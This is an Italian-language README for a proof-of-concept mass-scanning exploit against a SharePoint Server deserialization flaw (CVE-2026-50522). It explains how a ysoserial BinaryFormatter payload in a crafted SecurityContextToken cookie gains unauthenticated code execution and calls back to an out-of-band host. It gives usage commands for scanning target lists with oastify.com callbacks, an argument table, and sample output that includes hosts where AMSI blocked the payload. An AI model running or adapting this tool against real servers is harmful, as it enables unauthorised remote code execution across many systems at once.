
CVE-2026-50522 PoC
Esecuzione remota di codice non autenticata su SharePoint Server tramite deserializzazione del cookie SecurityContextToken
Exploit di scansione di massa per CVE-2026-50522 che prende di mira Microsoft SharePoint Server on-premises. Sfrutta la deserializzazione insicura di BinaryFormatter nell'endpoint WS-Federation /_trust/default.aspx per ottenere esecuzione di codice non autenticata tramite cookie SecurityContextToken appositamente costruiti.
Nota: Questo progetto include
ysoserial, un noto strumento di penetration testing, quindi il tuo antivirus potrebbe segnalarlo o metterlo in quarantena durante il download.
ysoserial.exe genera un payload serializzato BinaryFormatter utilizzando il gadget TypeConfuseDelegateInvoke-WebRequest verso un URL di callback out-of-bandSecurityContextTokenRequestSecurityTokenResponse (WS-Federation)wresult viene inviato tramite POST a /_trust/default.aspxrequestspython CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080
python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain
| Argomento | Descrizione | Predefinito |
|---|---|---|
-t, --target | URL del target singolo | - |
-T, --targets | File con gli URL dei target, uno per riga | - |
-c, --callback-url | URL base di callback OOB (obbligatorio) | - |
--callback-mode | path o subdomain | path |
--ysoserial | Percorso di ysoserial.exe | ysoserial.exe |
-x, --proxy | Proxy HTTP | nessuno |
Modalità path (predefinita):
http://YOUR_ID.oastify.com/10.10.10.5
Modalità sottodominio:
http://10.10.10.5.YOUR_ID.oastify.com
[*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]
[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed